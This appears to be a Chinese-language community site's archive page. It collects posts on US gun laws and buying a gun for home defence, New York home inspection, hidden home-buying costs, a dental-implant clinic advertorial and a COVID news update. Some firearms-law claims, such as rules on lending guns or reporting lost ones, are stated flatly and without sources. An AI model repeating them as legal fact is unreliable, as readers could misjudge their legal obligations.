1.在美国合法拥枪是权利,但持枪要求很严。别无选择才可以开枪;例如,罪犯逃走时不可以开枪;住公寓的人持枪权利只能在室内,不可以追到走廊里射击罪犯。否则,警察会以“违法持枪”罪起诉你。简单一句话,美国枪械法的原则是:能用枪吓跑对方就不要开枪伤人!要善用枪。

2.城堡法(Castle Doctrine)家防自卫有一个限定:只能在自家包括院子(加州法律只有房内和后院,不包括前院)、车、工作处等合法使用场所。

经典案例莎拉麦金莱和她的孩子

2012年12月31日,俄克拉荷马州18岁的年轻妈妈麦金莱和她只有3个月大的儿子在家。她的丈夫几日前去世。一名叫贾斯汀·马丁的男子手持猎刀和另一名男子偷偷潜进麦金莱的家。麦金莱先用沙发顶住门,然后拿上枪,把孩子送到卧室,报警。

她问911接线员:如果有人冲进来,我能不能开枪?接线员告诉她:怎么能保护你自己,你就怎么做。我不能说“你可以(开枪)”,但是你要保护你和孩子,做你应该做的事。

结果等一个罪犯入室时,被麦金莱一枪毙命。地方检察官依据城堡法宣判麦金莱:正当防卫,不予起诉。随之,麦金莱与911的通话录音,网上流传。

不退让法明确可依城堡法行使自己正当防卫权利。但是,只规定了在特定区域,比如在家里、办公场所才可以使用不退让法。

总之,美国各个州市法律不同,对于长期生活在美国的人来说美国枪械法是常识、是权利,但对不少华人朋友们来说以前对这类信息不太关心,知之甚少。但如果你要买枪拥枪,那就一定要熟知美国枪械法,以免无意中违法。希望本文能对您有帮助,如有您还法律上的疑问,可咨询当地律师或者ATF、枪友会、枪店等。

最后,祝所有天下人幸福安康!

2021-05-28 / by / in , , ,
华人买枪流程指南全攻略/家防买什么枪好/选枪要点/纽约长岛华人枪店

文/阿慎
多数华人受佛家、儒家文化影响处事温和,反对以恶之恶。但自从去年起攻击华人事件的发生,如何自保更是我们必须思考的问题,华人买枪家防自卫Home Defense便呈现上升趋势。“害人之心不可有,防人之心不可无。”对于已经决定买枪的的华人朋友们,接下来就要了解一下华人买枪的流程、必知的美国枪械法、家防买什么枪好,及选枪的要点了。

一、华人必知的美国枪械法
二、买枪需要什么证件
三、华人买枪流程
四、买枪的渠道,到哪儿买枪
五、家防买什么枪好
六、买手枪的要点
七.用枪的安全问题
八、如何学习枪械使用和原理

一、华人必知的美国枪械法

美国枪械法对于生活在美国的人是常识,但很多华人并不了解,所以买枪前必需得好好学习当地的枪械法。触犯枪械法是重罪,一定要注意!
1.美国宪法第二修正案保护美国公民的持枪权利。
2.美国枪械法非常复杂:联邦枪械法是全国各州都必须遵行的;各州法律各不相同,互不兼容,同一个州内的各市法律也不同。总之,持枪人要做的就是—联邦枪械法和地方法律同时遵守。
3.美国联邦枪械法规定,不可为他人代买枪支,必须是自买自用。否则,会受到法律的严惩。Straw Purchase是重罪,属于Federal Crime。如果罪名成立,将会服刑期十年, 罚金最高可达25万美元。
4.买枪必填4473表格,没有例外:填表故意隐瞒、捏造不实信息,就触犯了联邦枪械法,会判入狱多年的重罪(最高可判处20年监禁,以及一百万美元的罚款)。您的4473表格信息将通过FFL在ATF、FBI系统备案几十年。
5.美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等等要求各有不同。
6.什么人不可以买枪?如果有犯罪记录、代买案底、精神病人、吸毒者,家暴史,被法院限制接触家人等的任一种情况的人,法律规定不可以买枪。

7.借枪:美国枪械法不允许把枪借给家人以外的人, 除非是通过 Dealer. 枪借给朋友,要等20天, 要2次去 Dealer , 2次交费。

8.如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.

二、买枪需要什么证件?

1美国公民:持驾照就可以买枪。
2绿卡:持驾照、绿卡就可以买枪。
3外国人:H1B、F1学生等(没有绿卡的人),联邦法律规定,原则上不能买枪。但有猎照(Hunting license)可以就合法买枪。证件:驾照,I-94;H1B的要带上I-797表等身份证件。*猎照每年买一次,没有持续买猎照就是非法持枪。
*有的州即使是公民,买枪也需要办理枪证 Firearm Safety Certificate(FSC)。

三、华人买枪流程:

1买枪需提前做的功课:
1)学习猎照(Hunting license)实用课程,对枪的使用和安全有一定了解,例如各种火器的原理、使用方法、安全须知、打猎规则、礼貌、诀窍等。(Hunter-Ed.com在线学习免费)
2)确定想买的枪型:上网查询自己喜欢的枪型信息,然后到靶场租枪实践,看看所选枪型是否适合自己,是否用得顺手。
2到Local枪店购买枪支,填4473表格(现场填有效)

填表细节可查看:https://thedoubletapclub.com/2020/08/21/4473_may2020/

3背景调查:店员将表格信息输入计算机,通常有3种结果
A.”Proceed”:当场通过(例如没有犯罪记录的),可直接付钱买枪;
B.”Delay”:比较常见的是“系统暂不确定”,要等十来分钟。如果没结果,那就先回家,系统结果下来了,店家就会打电话通知你去取枪;
C.”Denied”:没通过的情况也不少。店家会教你如何申诉appeal,申诉通过了,一样可以拿到枪。

四、买枪的渠道,到哪儿买枪?

第一,在Local枪店买枪:最省心了,交钱拿枪、简单快捷。如果枪有什么问题,枪店承担,但是价格相对比较高;
第二,Online网购:优点是样式多、便宜;缺点是等待时间久,麻烦。枪有什么问题的话,要自己承担。网购必须通过本地的FFL(联邦武器执照Federal Firearms License)办一下手续做transfer代理,费用($20-30);
第三,私人,枪展不推荐,一旦有问题,就麻烦了。

五、家防买什么枪好?通常要准备霰弹枪和手枪2种

1)霰弹枪(shotgun):家防最实用,打出去的散弹,命中率高;
2)手枪Handgun:适合家防,方便,可随身携带;
3)步枪:只有出现社会大骚乱才需要。

六、买手枪的要点:

1)用枪关键是要趁手,可在买枪前去靶场租各类枪都试一遍。
2)精致小巧的手枪并不适合女生,因为后坐力越大,不易打准。大而重的手枪比较实用。
3)新买的手枪要打一弹匣子弹,试试子弹的敏感度,如有问题马上换子弹。

七.用枪的安全问题

拥枪的人要谨慎、有责任心,具备良好的持枪习惯,以免擦枪走火

• 1)空枪:即便是空枪也不可胡乱比划。
• 2)枪口:只要持枪在手,就一直控制枪口对着安全的方向
• 3)扳机:手指一直放在扳机框外,射击的一舜,手指才触动扳机。
• 4)射击前:确认靶子、目标、及后方一定范围没有人 (比如突然出现的小朋友)
• 5)丢三落四,重要物品总是随处乱扔的人,慎重买枪。枪出了问题,可是要扛Felony(重罪)的。

八、如何学习枪械的使用和原理?

猎人教育 (猎照Hunting license)是美国最传统、最可靠的火器安全培训。学习火器的安全常识,各种火器(步枪/散弹枪/手枪,栓动/泵动/半自动/拉杆/开合式枪机)的结构、原理、操作、保养;急救,野外生存知识、及狩猎法规等,非常实用和必要。
猎人教育也体现了美国文化的一部分,事实上的全民军事培训,在美国很多家长把自己的孩子送去参加猎人教育。

建议大家在买枪之前系统地学习猎人教育,或到靶场开设的课程多练习。起码在危机时,要会开枪,敢开枪,震慑和吓跑坏人。希望所有的华人朋友们都能够用最有效的武器做好家防Home Defense,保护我们自己和家人的生命安全安全。

最后,向大家介绍一家华人经营的枪械用品店——纽约长岛Equilibrium Firearms枪店。华人枪店华文沟通,不仅把法律及枪械等专业问题讲得更明白,还可提供办理枪证等业务。如果您买枪购枪、使用上的任何疑问,都可随时与他们联系。至于价格、口碑当然是货比三家,选您满意的啰!
有趣的是Equilibrium Firearms华人枪店不仅提供了各类枪支,还很人性化的提供了非常实用的女生的防身用品、家防器械,如辣椒水、防狼喷雾等。详细内容可访问他们的网站http://dealsforguns.com

纽约长岛华人枪店 Equilibrium Firearms
地址:283 Villis Ave., Mineola, NY 11501
电话:516-788-8999

2021-05-27 / by / in
纽约买房 验屋你该知道的事 从里到外验房一步到位|纽约验房流程|美国验屋不马虎

文|地產小尖兵

美国买房,在签约后不要忘记验房(Home Inspection),在纽约买房也一样,而且纽约房产通常有很久的使用时间,五六十年以上都是很常见的,都经过大雨大雪的洗礼,因此买房后的验房工作就很重要,今天我们来谈谈纽约验房的流程,这里以独立房为主,从里到外带您看一遍验屋过程。

纽约验屋:屋顶检验

驗房屋頂檢查。

我们花了很多钱买房,房顶到底能用多久?还是马上要更换?这要搞清楚。以沥青瓦片材质(Asphalt Shingles)的屋顶为例,寿命约在二十至四十年不等。屋顶会坏大多都是自然因素造成的,日晒、下雨、下雪等等。如果时间较长,可以发现屋顶(边边)卷起、翘起,说明已使用较久时间了。

另外,验屋检查屋顶,还要看沥青瓦片有几层。因为美国房屋通常使用五六十年都很普遍,所以你买的房屋很可能都不是原本的最早期的屋顶,可能都是后面再铺上去的材料。那也有可能是拆掉旧的屋顶,换上新屋顶,这种方式比较花钱费力,因为需要多出拆除旧屋顶、收废弃屋顶的费用,会多出几千美元的预算。

紐約驗房首先看屋頂檢查。

要是直接铺设新屋顶,这是比较省钱的做法,但缺点是不能老是往上面叠上去,首先屋顶结构不一定承受得住,第二叠加过多层的沥青片,钉子未必钉得牢固,沥青屋顶可能会变得容易滑落,这时候只能拆除旧的,换上新的。因此,验房一定要检查屋顶有几层,确认屋顶的寿命、换新工程。

检查屋顶有无漏水,要从屋内去检查,从屋外看不到。有几个地方特别要注意,一个是烟囱与屋顶交接的地方,这处结合的材质和屋顶的不同,未必有较长的使用年限,所以到屋内就要特别留意客厅壁炉顶部的天花板,有没有渗水的痕迹。另一个地方是屋顶与屋顶交接的部分(高低屋顶或是错层屋顶),因为雨水一定会流往这个地方,也可能造成屋顶漏水。

紐約買房驗房檢查,排水槽。

还有一处是屋顶的排水槽(Gutter),这里容易被树叶、树枝等物堵塞造成积水,也可能下雪堆积,有融雪后不易排水的问题。排水槽平时假如没有定时清理或及时清理,也会造成积水、漏水。

小叮咛:纽约房产在维修屋顶时都会在夏季,因为冬季下雪无法工作。所以建议屋主在夏季时最好上去瞧瞧看看,顺便清除排水沟。以沥青瓦片的屋顶来说,如果有裂缝、破损,可以购买沥青,局部涂刷,另外在一些接缝处也可以用沥青去补墙防水性。

外墙检验

例如有一种木片结构的外墙,使用木片逐一钉上去,这种在美国老式的房子很常见。这种木片墙一般都是越往高处损害越厉害,越往地面处越完整。不好的部分无非是木头翘起、裂开,甚至钉子不牢固,这样水气就容易进到墙壁内层,导致墙壁不结实、松软、腐烂。如果验房、验屋发现这种情况就可以要求局部修缮,或是换成新的木片。

有的房屋底部在墙壁与地基的交接处有一层铁皮,称为「白蚁防护层Termite Shield」,从墙壁底部可以摸到这层铁皮。它的功用是为了防止白蚁从底部爬到房屋的木头结构去破坏,而且这层铁皮只能在建造房屋的时候铺设,事后无法加装。

小叮咛:墙壁与窗户的接缝也容易有裂缝,可以使用Caulking修补接缝(有分室外、室内材质)。在天气好时,把旧有的接缝涂料刮除,补上新的。这方面的裂缝会造成漏水,也会造成冷暖气的流失,使电费上涨。

纽约验房:暖气系统

纽约买房一定需要暖气系统,所以来到屋内验房时,首先就检查暖气系统。开启暖气机是第一步骤,然后过十几分钟后再到各房屋摸摸暖气片的温度,了解发热情况。注意一个重点,暖炉有一个「减压阀Pressure Relief Valve」,顾名思义它是一个舒压的阀门,当压力过大时它就会滴水,所以验屋时启动暖气后也要去检查看看有没有水滴,如果有,表示可能哪个地方压力较高需要处理,另外,减压阀下面通常也会接一条管子用来衔接水滴,下面会接一个水桶,如果没有接管子也要留意安装回去,以免水滴到地面造成积水。

减压阀还要注意每年放水一次,把内部空气释放,以促进循环。暖气系统会有一个热水炉(Hot Water Tank),也要检查有没有漏水,如果底部有漏水就表示需要更换(无法修理)。再来,暖气系统有一个电线箱也要打开检查,查看是否生锈、漏水痕迹。

水管排水问题验屋

美国房屋通常在暖气系统旁边会安装洗衣机、烘衣机,所以我们也顺便检查一下洗衣机的排水有没有通畅、烘衣机的排气有没有堵塞,管路需不需要清理。当然这里我们也可以把旁边的水龙头打开,让水流一阵子,看是否有哪里漏水、堵塞的状况。

电闸箱检查

然后,我们检查电闸箱,可以看有多少的负荷量,是100、150或200安培,越高越好,尤其现在电器特别多,还有电动车的使用,都须要更高的电量。有些比较老旧的只有60安培,甚至没有自动跳闸,还在保险丝的年代,这在验房时也要特别留意。当然在屋内的各处插座,也都要检查是否有通电或是电线接反,或是没有接地线的问题,这都可能造成使用人被电到的可能性。

检查阁楼隔热棉

我们还会从屋内上到阁楼(Attic)去检查里面的隔热棉状况、空调管道,还会看看是否有漏水的痕迹,还有是否有成为老鼠窝的惨况。

纽约验房:地下室检查渗水问题

纽约买房也要注意地下室的问题,所以验屋时地下室也是个重点,要注意有没有渗水状况。地下室渗水通常是地基周边排水不良导致,不是因为住在湖边、水边,有土地潮湿的问题。首先要了解地基是水泥结构,会有各种因素造成裂缝,就会导致水渗进去。

检查时就是先看外墙底下跟泥土交接的地方,因为我们知道下雨时,水进入泥土就往下流,假如是一场小雨可能没关系,如果是一场大雨,排水又不好,雨水可能就会慢慢从裂缝进入屋内。所以如果地下室某处容易潮湿就要留意,在那个地方容易发霉、容易让家具腐烂,还可能引来白蚁进驻。

我们验房时就要特别注意,房屋周围有哪些地方地势低,或是会造成积水的地方。如果有发现,进入地下室之后就要特别留意对应的地方有没有渗水。

进入地下室后,首先检查地基墙,一定都是实心的水泥,很坚固没错,但多少会有些裂缝,而且裂缝经常会出现在窗户周围,可能从窗边开始裂,一直延伸到地面,接近地面的墙壁就会容易有一些渗水的痕迹。

地下室的天花板就是木头结构的房屋,可以看出房屋有没有白蚁的问题,如果看到墙壁和木结构衔接处,有看到一层铁片代表这房有加装上面说的「白蚁防护层Termite Shield 」,这是很好的设施,能有效防止白蚁入侵。白蚁住在土壤里,会想办法到里面吃木头,会从外面往里面吃,越潮湿的地方越容易吸引它,因为潮湿的木头较柔软好啃食。

因此在纽约验房,检查地下室,就要检查天花板的四周,有没有白蚁啃食的痕迹或是白蚁爬过的蚁路,但这部分需要有经验的专家才有办法看出来,所以检查有没有白蚁通常都有专门的白蚁检查报告。

小叮咛:地基外墙与木头墙壁衔接处可能会有松动或破损,可以请人补强(这部分要自行施工比较困难),以防止地下室渗水。还有在屋顶的排水槽有一条排往地面的水管,如果管道已经断了,或是水会直接流到墙边,应赶快买管道衔接,让水排到离地基的地方。#

2021-05-26 / by / in , , , ,
美国买房新手必看|美国买房的隐藏费用详解

文|雨荷

美国买房需要大量的资金,计算月供支出不能只看房价,美国房主除了要还房贷以外,每年还要额外支付房屋相关费用,每月的养房支出费用也是很大的,因为大多数选择贷款买房。在美国贷款买房的具体的费用是哪些呢?

定金Earnest Money Deposit

地区不同,市场上默认的诚意金额度也不同。美国大多数城市是按房价的1%-2%计算,但在一些房子供不应求的地区,也有可能高达10%。什么时候交诚意金,交给谁,什么情况下这钱还能收回来。

当我们看中房子后,需要先给卖家一个合同,表明自己会给出多少定金表示诚意,还要写清意外事件条款,也就是什么情况下取消这次购房交易,不算毁约可以全数拿回诚意金。

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定金Earnest Money Deposit 示意图。

如果验屋不满意,买房贷款批不下来卖家接受,大家开始针对房价讨价还价的时候,这笔款项马上被存入履约保证账户,由第三方托管。如果一切顺利,这笔钱最后会作为买家买房子的前期费用,回到我们手里,而如果交易最终取消,则会按照合同条款来分配诚意金。

房屋检查费House Inspections

当谈好价格购买之前,即使卖家已经有一份检查报告,我们也一定要自己找专业人士做一次彻底的房屋检查,排查隐患。按房子大小,价格在三百到五百美元之间。

房贷首付Down Payment

银行贷款很看重贷款价值比,在美国买房20%是首付的一个临界点,如果不足会招来更多额外费用。比如贷款的利息增加,被强制购买房贷保险,给银行一个保障,连带着过户费用也会增加等等。

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房贷首付Down Payment 示意图。

过户费Closing Costs

通常是房价的2%-5%左右,包括了买房过程中现的一系列费用,比如律师费。托管费、登记费、转让费、房屋估价费等等。

如果房价是二十万,除了首付的钱,还需要额外准备四千到一万的资金,或者请银行把这笔钱算进贷款里,一般都是由买家支付。

地产税Property Taxes

全美平均地税为房价的1.19%,但不同的地区地产税差别还是挺大的。地产税是地方政府的重要收入来源,也是不可避免的一项大开支。地产税通常可以抵免个人收入税,或许对减税有点帮助。

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地产税Property Taxes 示意图。

业主协会费HOA Fees

HOA是业主协会的简称,类似于小区物业管理。如果我们看上的房子属于他们的辖区,那买了房之后就自动成了会员,并且必须交会员费,每月两百到四百不等,也就是业主协会费。用于公共范围的环境设施维护等,建议买之前最好先了解一下有什么规则,每年费用涨不涨?涨幅多少,如果太多的话尽早放弃。

房屋保险Homeowners Insurance

房屋保险不是必须购买,针对意外、自然灾害等有很多种类。但有些情况,比如我们背负房债,房子位于洪水高危地段,银行通常会强制要求购买相关的房屋保险。

美国洪水保险平均费用约每年七百美元,买房子前也要看一下,避开这种地段。保修很适合新手房东,保的是不属于意外的损坏问题,每年三百五十到六百美元不等。

房屋保修 Home Warranty

房屋保修很适合新手房东,保的是不属于意外的损坏问题,每年350到600美元不等。家里的水电系统、暖通、空调,甚至大件家电出了问题都会负责报销,具体看自己买的保修里面包括什么。每次叫人来维修只要付个固定的服务费就行,大概每次是费用50-100美元,比单请计时收费的专业维修人员便宜。

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房屋保修 Home Warranty 示意图。

房贷月供Mortgage Payments

每月还贷我们都懂,这里就分享一个还贷省钱的秘籍。如果每个月再额外多交一点钱,这笔钱就会直接从本金扣除。一是能省下不少贷款的利息,二是能督促自己提早还清房贷。

拿贷款十万举例,每个月如果多还五十,就能省下一万五千多美元,还能缩短五年的还款时间。

水电费Utility Bills

成为房主之后开销很高。水、电、天然气、垃圾回收、网络、电话、电视,一系列的费用都要自己跟进,建议问下前屋主或者是周边的住户,每个月的水电杂费开销。翻新房子的钱要用掉多少就不好说了,算成本的时候别忘了计算这笔开销。

二手房里如果有希望原屋主留下的东西,要提前询问、商量好,写进合同,不然交房的时候可能已经带走了。

日常维护Maintenance

日常维护的费用可以按房价的百分之一来估算,四十万的房子每年要花4000美元来打理。

2021-05-26 / by / in , , , ,
缺失牙为什么要植牙?在纽约选一个好的植牙医生,这里有几点建议!(纽约最好的植牙医生)

随着大家对牙齿健康意识的提高,越来越多人开始关注牙齿种植手术。但是纽约植牙市场混乱医生资质参差不齐,选择一个最好的植牙医生可以给你省去很多麻烦,顺利的完成植牙手术,修复已经缺失的牙齿。这里我们给大家几个选择医生上的建议,希望能够避免大家在寻医路上多走弯路:

纽约牙科诊所-New York Dental Studio

地址: 30 E 60th St #2402, New York, NY 10022

电话号码: (212) 588-1809

1、选择有经验的牙科手术专科医生

大家都知道美国的医生类别分的很细,牙科医生也一样,有不同的专科医生:比如非常严重的根管治疗要找牙髓病专家,牙龈萎缩牙周炎要找牙周病专家,牙齿矫正可以找牙齿美容矫正医生,拔智齿和植牙等手术要找牙科手术医生等等…

在美国,成为一个牙科手术专科医生不仅需要本科4年+牙科博士4年,毕业后还要在口腔颌面外科住院做实习医生5 年,是一个非常需要时间和经验磨炼的职位!能够在美国成为牙科手术专科医生是非常不容易的。New York Dental Studio纽约牙科诊所的手术专科医生Dr. Cho说,他平均每个月需要做包括拔智齿的约500次拔牙手术,200次植牙手术,最高纪录一天拔了86颗牙,他健壮的手臂就是辛苦而稳健工作的最好证明!

 

New York Dental Studio接待过很多曾经在别的牙科诊所有过不好经历的患者。吕先生在之前工作附近随意找了个医生拔了智齿,因为没有处理好得了干槽症并且持续了一个月痛苦不堪;又在其他诊所做另一颗牙根管治疗好几次都没治好,最后在New York Dental Studio找手术医生拔掉了坏牙做了植牙手术,终于解决了每天晚上牙齿神经痛的困扰。

 

吕先生说:“我的牙齿实在是太命途多舛了,纽约的牙科市场也太混乱了,要是早点遇见你们多好,我就不会遭以前的那些罪了!”

 

吕先生把他的女朋友付小姐也介绍到了纽约牙科诊所做植牙,一切都非常顺利,三个月就完成了全部步骤,恢复了正常的牙齿。

付小姐说:“因为之前不好的经历,我本来非常害怕看牙医,之前医生在拔牙缝合的时候把我的嘴唇和牙龈缝在了一起,我回家硬生生扯开,太痛苦了。但是看吕先生在New York Dental Studio一切都做的很好,终于下定决心来把之前缺的牙种了。纽约牙科诊所的医生都特别专业,每一步都做的清楚流畅,医生非常的耐心和细心,让本来对牙医产生心理阴影的我重新放心的把自己的牙齿交给他来处理,并且真的轻松完美完成了,仿佛对于专业的手术医生来说,植牙就是小菜一碟。”

 

植牙这种精密手术容不得一点这些drama,还是交给经验丰富的牙科手术医生来做。

 

2、不要贪便宜选择不好的植牙系统和材料

 

虽然现在技术发达了,植牙手术并不是一个复杂的手术,但是除了手术医生的技术,一个好的植牙系统和材料也对手术的成功率起着非常重要的作用。市场上有非常多种植牙系统,有欧美品牌、日韩品牌还有一些国产的品牌。在种植体市场,进口品牌的能够占到整个市场90%以上的份额。

 

New York Dental Studio使用的种植体系统都是高端的欧美品牌,有:

 

  • 欧美高端品牌的代表,如瑞士的Nobel诺贝尔和Straumann士卓曼:这两个品牌可以说是植牙体系中的劳斯劳斯了!

Nobel Biocare诺贝尔是世界上最早的种植体系,临床应用超过50年,它采用纯钛种植材料,在长期的种植体成功率和使用性上占无可争议的领先地位,是世界级的口碑产品。Straumann士卓曼在世界市场的占有率低于诺贝尔,但在中国的占有率应该是第一,是目前公认的稳定种植系统,士卓曼的钛锆合金亲水种植体对血液有较好的吸附作用,使初期骨结合时间缩短,只需6-8周

国内公立医院三甲医院单颗种植牙,如果使用Nobel或是Straumann的话,单颗的费用在18000-25000元左右,和美国价格持平。

  • MIS implant是纽约牙科诊所使用的另一个植牙系统,和Nobel和Straumann相比是更具有性价比的品牌。大家都知道以色列是医疗器械大国,以高科技和创新闻名于世,MIS是以色列已超过25年临床经验的品牌,也是New York Dental Studio的手术医生根据多年的临床经验精心挑选的成功率高、各项指标出类拔萃的产品。这个系统经过美国FDA和欧盟CE认证可用于即刻功能修复的种植体。更便捷、更优质、更安全的种植体系统,性价比高,占据欧美市场前五位。

张女士今年已经80岁了,之前在一家韩国诊所做了五颗植牙,其中三颗是连在一起的非常不好清理,最近一直觉得植牙部位不舒服,特地从新泽西来到曼哈顿中城的New York Dental Studio来看一下究竟是怎么回事。医生检查后发现牙冠周围的牙龈非常红肿,一拍片发现种植体附近感染了,这个种植体肯定要取出来重新种植了。在医生打算把牙冠和连接种植体的桥体取下来时,发现这个植牙系统并不是主流的种植体,没有对应型号的工具取出,打电话给原来的医院和对应的工厂也迟迟得不到答复,最后告知该型号已经停止生产。

张女士因为之前和韩国诊所的语言交流不是那么顺利导致之前做手术时没有得到完全的信息,现在只能重新做一遍手术,既多受了一遍罪也多花了一份钱。这提醒我们,种植牙是终身使用的东西,一定不要在没有沟通清楚的前提下选择了便宜的植牙体,手术失败重新植牙的后果就是肉疼钱包也疼。

3、确认无隐形收费,与诊所充分沟通

 

完成种植牙有好几个步骤,所以大家在和诊所了解价格的时候一定要明确都包含了哪些步骤:从一开始的咨询拍3D catscan检查是否包括;每个人的情况不同,是否有牙槽骨萎缩需要植骨粉,需要植多少个区域;是否包括连接种植体骨钉和牙冠的基台;是否包括临时牙冠的费用;植牙期间的复查是否有额外费用;牙冠是单颗的还是连成一片的;牙冠是全瓷冠还是含金属的烤瓷冠…

 

有时一些诊所最初给的价格只包含整个手术中的部分费用,中间出现了其他费用,和最初大家咨询时的费用不一致,这就很令人头疼了。

4、缺牙后尽快植牙,省时省钱

 

很多人在掉牙后都有遇缺不补的经历,其实牙掉了之后,时间太长就很难植牙。因为其它牙在生长挤占了缺牙的空间,所以植牙前需要先矫正两侧的牙,空出原来的位置后才能再植牙。

 

同时,缺牙部位由于没有牙根的刺激,缺牙部分以及旁边牙齿的牙槽骨、牙龈会逐渐萎缩;轻者需要做植骨手术,严重牙槽骨萎缩做植骨粉手术也无法弥补的只能做牙桥来维持牙齿的功能。

公平来说,牙桥是一种效果很好也比较成熟的技术,相对种植牙过程也简单,但是其缺点就是必须牺牲旁边两颗健康的牙齿,磨小了做牙桥,这是不可逆的,也非常考验其他牙齿的承重力,保持的时间和病人自身的咬合关系以及做牙桥的牙齿的骨骼健康程度有关,一般来说能维持5-10年。

 

这样看来,如果长期拖着不植牙,可能会影响旁边的牙齿松动、移位,可能会从简单的一颗植牙变成需要先做植骨手术,更甚者变成多颗植牙;或者是要先花钱去矫正牙齿再植牙,都是又费时又费钱的多余操作。

 

看到这里,是不是不自觉的捂紧了钱包,想赶紧找一个靠谱的牙医,把新长出来的蛀牙给修补了?

缺牙的你,是不是也想亡羊补牢悬崖勒马,趁现在咨询一下植牙?

 

 

New York Dental Studio 纽约牙科诊所

位于曼哈顿中城最核心地段:宽敞通畅的Park大道和低调时尚的Madison大道之间,缁临中央公园,是纽约所有高端诊所梦寐以求的地理位置。

地址: 30 E 60th St #2402, New York, NY 10022

纽约牙科New York Dental.studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

Dr Brandon Huang 是纽约牙科诊所的主治医生,2001年便开始独立经营在曼哈顿上东区的牙科诊所,距今已近20年。黄医生出生于一个“化学世家”,祖父是上海有计划学院前院长,父母都是美国化学博士。黄医生毕业于凯斯西储大学,拥有生物和化学专业的双学位,在此之后获得俄亥俄州立大学牙科学院牙科博士。毕业后先后在Maimonides医疗中心和纽约曼哈顿Mountain Sinai西奈山医疗中心实习。

牙齿矫正方面,他是全美国Invisalign® Top 1% Provider、纽约数一数二的Invisalign® VIP Diamond Plus Provider,每年经手超过1000个矫正病例,有着非常丰富的经验;

 

由于他对美国和亚洲面孔的双重审美,不仅牙齿矫正做的更深得你心,牙齿美容瓷贴面 Veneers​也做得相当出色,他经验丰富、技术一流,经常有人几个小时十几个小时从别的国家飞过来找黄医生做牙齿美容瓷贴面。

 

就连做完根管或是种植牙的烤瓷牙冠在他手中也做出了美容的效果:他不仅考虑烤瓷牙冠保护脆弱牙齿、承担咬合作用的性能,还根据每个人牙齿的颜色、牙齿的形状和排列,设计出最美观的牙冠,却没有任何额外收费,绝对是额外收获!

 

Dr. Cho Pae Chun 是纽约牙科诊所的手术医生,他负责纽约牙科诊所患者的拔牙植牙和各类牙科手术。除了在曼哈顿的纽约牙科诊所以外,也在新泽西和长岛其他诊所负责手术拔牙和植牙,是一位非常有经验的牙科手术医生。Dr. Cho获得了纽约大学牙科学院的牙科手术博士学位。从牙科学院毕业后, Dr. Cho 在南布朗克斯中心林肯医疗和心理健康中心的最繁忙的创伤中心完成了他5年的口腔和颌面部住院医生实习。

 

Dr. Cho 精通所有牙科外科手术,包括普通拔牙、手术拔牙和植牙。平均而言,他每月进行包括智齿的约500次拔牙手术,和200次植牙手术。他非常的耐心和细心,让患者在一个舒适放松的情况下进行复杂的牙科手术。

 

他也是一个对科学无限热爱的人,了解他的人可以发现,他从事牙科手术这一行并不是因为专科医生收费比普通医生高,而是他对这门技术活是有真挚而单纯的热爱!他为帮助每一个饱受智齿、坏掉的牙齿疼痛的患者远离病痛让他真心感到快乐,他经常在他个人的Instagram上分享不同程度难度的案例,是一位非常有探究精神非常乐于助人的医生,每一个他的病人对他高超的技术和耐心负责的态度都赞赏有加。

黄医生和他的团队在牙科方面的不断积累和钻研,对完美设计的不懈追求,让每一位来纽约牙科诊所的人都能获得自信、美丽、独一无二的笑容。多年来患者们对New York Dental Studio纽约牙科诊所的医生的平易近人与高超的技术好评如潮,google review的上百条好评就是对他们的肯定。

经常你从纽约牙科诊所出来,门口停着一辆劳斯莱斯;和行色匆匆抱着爱马仕birkin的女士装个满怀。等等,在这样的地段看这么专业的医生植一颗牙价格是不是要上天?

 

No No No…我们植牙的价格是大写的优惠!

 

  • MIS 植牙系统(含咨询检查、拔牙、种植体固定、基台、临时牙冠、永久牙冠)
  • Nobel Biocare/Straumann植牙系统(含咨询检查、拔牙、种植体固定、基台、临时牙冠、永久牙冠)
  • 植骨手术:?(如有需要医生会提前说明)
  • 鼻窦增高术:?(如有需要医生会提前说明)

 

曾经有一颗健康的牙齿摆在你的面前你没有珍惜!

直到失去才追悔莫及

如果上天可以重来一次的话

我想对那颗牙说三个字:“保护你”

如果非要给这个爱加上一个期限的话

我希望是:一生

 

 如果你也有缺牙的困惑,就赶紧打电话:212-588-1809

或加微信预约时间咨询植牙吧!

 

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纽约牙科诊所牙齿矫正 电话 (212)588-1809

纽约曼哈顿牙科/植牙/牙齿美容 212-588-1809

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2021-05-26 / by / in ,
【疫情快讯 5月25日】纽约公立学校9月开学 不设网上学习

据上周COVID-19新增病例数据统计,目前美国新增感染人数大幅降低。不过,从全球范围来看,疫情情况并不乐观。

世卫组织网站数据显示,至5月24日2:50 pm CEST(中欧夏令时间),全球24小时新增病例508,074。

据约翰‧霍普金斯大学的统计数据,截至美东夏令时5月24日晚上7:00,全球COVID-19病例总数超过1.67亿(167,089,543)例,死亡人数超过346万(3,468,733)人。

美国上周报告的病例数大幅降低

路透社报导,根据对美国各州和县的数据分析,美国上周报告的新增COVID-19病例数为近一年来最低,新感染病例数比之前一周下降了26%,降至18万以下。

截至5月23日的一周,COVID-19的死亡人数下降5%,至3,969人。

在全国范围内,新病例已经连续六周下降。

美国CDC统计数据显示,至5月24日 美国东部时间12:28 PM,纽约州(不包括纽约市)24小时新增病例634例, 纽约市无新增病例。

纽约市公立学校秋季仍需戴口罩

纽约市公立学校教育总监梅莎·波特(Meisha Porter)在5月24日的新闻发布会上表示,纽约市的公立学校9月13日重新开放时,仍将需要口罩。

市长白思豪(Bill de Blasio)对媒体说9月恢复面对面学习,学生没有虚拟学习的选择,公立学校系统将继续遵守CDC的社交疏离准则。

美国发布勿去日本旅行建议

由于Covid疫情推迟一年的日本奥运会临近,美国国务院5月24日发布针对日本“请勿旅行”的建议。

东京奥运会定于7月23日举行,奥运会高级官员上周表示,即使是在紧急状态下,奥运会还是会如期举行。

美国疾病控制与预防中心在新的指南中说:“旅客应避免所有前往日本的旅行。”“由于日本目前的局势,即使是完全接种疫苗的旅行者也可能有感染和传播COVID-19变种的风险,应避免所有前往日本的旅行。”

美国感染病例和死亡人数最多的前十州

以下是确诊病例最多的前十个州:

1.加利福尼亚州:3,777,077例

2.德克萨斯州:2,941,389例

3.佛罗里达州:2,310,335例

4.纽约州:2,095,319例

5.伊利诺伊州:1,375,420例

6.宾夕法尼亚州:1,196,778例

7.乔治亚州:1,119,979例

